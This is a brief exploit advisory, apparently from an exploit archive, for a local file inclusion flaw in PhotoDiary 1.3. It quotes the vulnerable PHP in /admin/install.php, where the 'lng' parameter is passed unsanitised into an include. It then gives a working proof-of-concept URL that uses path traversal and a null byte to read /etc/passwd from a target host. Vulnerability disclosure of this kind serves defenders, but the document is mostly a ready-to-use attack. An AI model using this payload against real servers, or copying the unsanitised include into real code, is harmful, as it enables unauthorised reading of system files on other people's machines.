PhotoDiary 1.3 (lng) LFI Vulnerability

======================================
PhotoDiary 1.3 (lng) LFI Vulnerability
======================================

PhotoDiary 1.3 (lng) Local File Inclusion Vulnerability
Discovered by cOndemned
 
download: http://code.google.com/p/photodiary/
 
 
source of /admin/install.php (lines 9 - 15):
 
    if (isset($_GET['lng'])){
        $LNG = $_GET['lng'];            # 1
    } else {
        $LNG = "ITA";
    }
     
    include "../common/language_".$LNG.".php";  # 2
 
 
proof of concept:
         
    http://[target_host]/admin/install.php?lng=/../../../../../../etc/passwd%00



#  0day.today [2018-01-03]  #